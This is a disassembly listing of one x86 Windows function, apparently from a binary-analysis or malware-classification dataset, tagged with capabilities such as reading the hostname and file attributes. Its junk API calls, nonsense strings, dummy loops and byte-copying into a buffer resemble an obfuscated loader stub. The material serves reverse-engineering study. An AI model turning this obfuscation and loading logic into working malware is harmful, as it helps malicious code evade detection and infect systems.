Function at 0x40b926
Capabilities:
Get file attributes
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c4c
call fcn.0040a220
mov eax, dword [0x433008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
xor eax, eax
cmp eax, 0x180
jne 0x40b95b
mov ecx, dword [0x436bf4]
add ecx, 0xa231
mov dword [0x1badeac], ecx
cmp dword [0x1badeac], 0x141
jne 0x40b978
or dword [0x437b04], 0xffffffff
mov dword [0x437b00], 0xec58acac
inc eax
cmp eax, 0x12376ec
jl 0x40b942
push edi
xor edi, edi
cmp edi, 0x562d05
jne 0x40b995
mov eax, dword [0x433fe8]
mov dword [0x1badfdc], eax
cmp dword [0x1badeac], 0x3c
jne 0x40b9a6
push esi
push esi
call dword [sym.imp.KERNEL32.dll_QueryMemoryResourceNotification]
inc edi
cmp edi, 0x5f6c74
jl 0x40b983
cmp dword [0x1badeac], 0x7c
push ebx
mov ebx, 0x437a78
jne 0x40ba58
lea eax, [ebp - 0x1c4c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
xor eax, eax
mov word [ebp - 0x1c38], ax
lea edi, [ebp - 0x1c36]
stosw word es:[edi], ax
mov word [ebp - 0x1c30], ax
lea edi, [ebp - 0x1c2e]
stosw word es:[edi], ax
lea eax, [ebp - 0x1c40]
push eax
push dword [ebp - 0x1c30]
lea eax, [ebp - 0x1c34]
push dword [ebp - 0x1c38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
push esi
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
push esi
lea eax, [ebp - 0x1804]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
push 0x43129c
push ebx
call fcn.0040100f
push esi
call fcn.004014c8
add esp, 0xc
cmp dword [0x1badeac], 0x110a
jne 0x40bb4a
lea eax, [ebp - 0x1c30]
push eax
push esi
push str.gaketokiwofacadapacujupoxaw_casuvovuzapacikigurijewokudoroku_xiganucurexatabayowivelob_yezac_peyataya
push esi
push esi
mov dword [0x1badea0], esi
mov dword [0x1badea4], esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
lea eax, [ebp - 0x1c34]
push eax
lea eax, [ebp - 0x1c04]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
xor eax, eax
mov word [ebp - 0x1c48], ax
lea edi, [ebp - 0x1c46]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x1404]
push eax
push str.riputuliriv_vuromelehicareperewogigolemoxit
lea eax, [ebp - 0x1c48]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push str.mucuzedoyukujufekadetaviz
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
push esi
push esi
lea eax, [ebp - 0x1004]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push esi
push esi
lea eax, [ebp - 0x804]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push esi
call fcn.0040135b
push esi
call fcn.0040135b
xor eax, eax
push esi
mov dword [ebp - 0x1c08], 7
mov dword [ebp - 0x1c0c], esi
mov word [ebp - 0x1c1c], ax
call fcn.0040135b
push esi
call fcn.004012b8
push 0x431368
push ebx
call fcn.004014ab
add esp, 0x18
push esi
call fcn.0040177e
call fcn.0040b664
xor edi, edi
pop ebx
cmp dword [0x1badeac], esi
jbe 0x40bbaf
mov eax, dword [0x1badfdc]
mov dword [ebp - 0x1c30], eax
mov eax, 0xa231
add dword [ebp - 0x1c30], eax
mov eax, dword [ebp - 0x1c30]
mov al, byte [eax + edi]
mov ecx, dword [0x1badcf4]
mov byte [ecx + edi], al
cmp dword [0x1badeac], 0x5ab
jne 0x40bba6
push esi
push dword [ebp - 0x1c34]
push esi
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
mov dword [0x1badcf8], 0x19b0
inc edi
cmp edi, dword [0x1badeac]
jb 0x40bb5a
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.0040b6b9
call fcn.0040b69b
call fcn.0040b8a9
xor eax, eax
cmp eax, 0xd606b
jne 0x40bbd7
call fcn.0040b690
inc eax
cmp eax, 0x24e87d
jl 0x40bbcb
mov edi, 0x1e4165
cmp dword [0x1badeac], 0xcc1
jne 0x40bbf9
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
cmp dword [0x1badeac], 0x7c4
mov dword [0x1badea8], 0x8e46a6f0
jne 0x40bc18
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
dec edi
jne 0x40bbe4
pop edi
cmp esi, 0x408e
jle 0x40bc30
cmp dword [ebp - 0x1c24], 0xf5bed7
jne 0x40bc39
inc esi
cmp esi, 0x687ed2
jl 0x40bc1c
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401000
leave
ret